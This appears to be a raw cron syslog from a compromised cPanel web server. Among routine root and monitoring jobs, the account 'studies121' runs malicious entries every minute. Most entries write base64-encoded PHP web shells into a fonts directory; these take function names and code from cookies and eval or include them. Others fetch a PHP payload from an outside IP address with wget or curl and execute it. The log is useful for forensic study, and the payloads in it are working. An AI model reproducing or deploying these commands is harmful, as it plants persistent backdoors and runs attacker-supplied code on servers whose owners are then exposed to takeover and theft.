Sep  9 22:31:01 ip-184-168-122-23 CROND[23328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:31:01 ip-184-168-122-23 CROND[23326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:32:01 ip-184-168-122-23 CROND[23506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:32:01 ip-184-168-122-23 CROND[23509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:32:01 ip-184-168-122-23 CROND[23508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:32:01 ip-184-168-122-23 CROND[23511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:32:01 ip-184-168-122-23 CROND[23510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:33:01 ip-184-168-122-23 CROND[23594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:33:01 ip-184-168-122-23 CROND[23598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:33:01 ip-184-168-122-23 CROND[23596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:33:01 ip-184-168-122-23 CROND[23597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:34:01 ip-184-168-122-23 CROND[23676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:34:01 ip-184-168-122-23 CROND[23679]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:34:01 ip-184-168-122-23 CROND[23677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:34:01 ip-184-168-122-23 CROND[23681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:34:01 ip-184-168-122-23 CROND[23682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:35:01 ip-184-168-122-23 CROND[23773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:35:01 ip-184-168-122-23 CROND[23775]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 22:35:01 ip-184-168-122-23 CROND[23778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:35:01 ip-184-168-122-23 CROND[23781]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:35:01 ip-184-168-122-23 CROND[23776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:35:01 ip-184-168-122-23 CROND[23780]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 22:35:01 ip-184-168-122-23 CROND[23779]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:35:01 ip-184-168-122-23 CROND[23777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:36:01 ip-184-168-122-23 CROND[23887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:36:01 ip-184-168-122-23 CROND[23889]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:36:01 ip-184-168-122-23 CROND[23891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:36:01 ip-184-168-122-23 CROND[23892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:36:01 ip-184-168-122-23 CROND[23890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:37:01 ip-184-168-122-23 CROND[24055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:37:01 ip-184-168-122-23 CROND[24057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:37:01 ip-184-168-122-23 CROND[24058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:37:01 ip-184-168-122-23 CROND[24060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:38:01 ip-184-168-122-23 CROND[24150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:38:01 ip-184-168-122-23 CROND[24154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:38:01 ip-184-168-122-23 CROND[24153]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:38:01 ip-184-168-122-23 CROND[24156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:38:01 ip-184-168-122-23 CROND[24155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:39:01 ip-184-168-122-23 CROND[24244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:39:01 ip-184-168-122-23 CROND[24247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:39:01 ip-184-168-122-23 CROND[24246]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 22:39:01 ip-184-168-122-23 CROND[24248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:39:01 ip-184-168-122-23 CROND[24249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:40:01 ip-184-168-122-23 CROND[24343]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 22:40:01 ip-184-168-122-23 CROND[24344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:40:01 ip-184-168-122-23 CROND[24347]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:40:01 ip-184-168-122-23 CROND[24350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:40:01 ip-184-168-122-23 CROND[24352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:40:01 ip-184-168-122-23 CROND[24351]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:40:01 ip-184-168-122-23 CROND[24358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:40:01 ip-184-168-122-23 CROND[24356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:41:01 ip-184-168-122-23 CROND[24455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:41:01 ip-184-168-122-23 CROND[24456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:41:01 ip-184-168-122-23 CROND[24458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:41:01 ip-184-168-122-23 CROND[24457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:42:01 ip-184-168-122-23 CROND[24550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:42:01 ip-184-168-122-23 CROND[24555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:42:01 ip-184-168-122-23 CROND[24552]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:42:01 ip-184-168-122-23 CROND[24553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:42:01 ip-184-168-122-23 CROND[24554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:43:01 ip-184-168-122-23 CROND[24726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:43:01 ip-184-168-122-23 CROND[24727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:43:01 ip-184-168-122-23 CROND[24730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
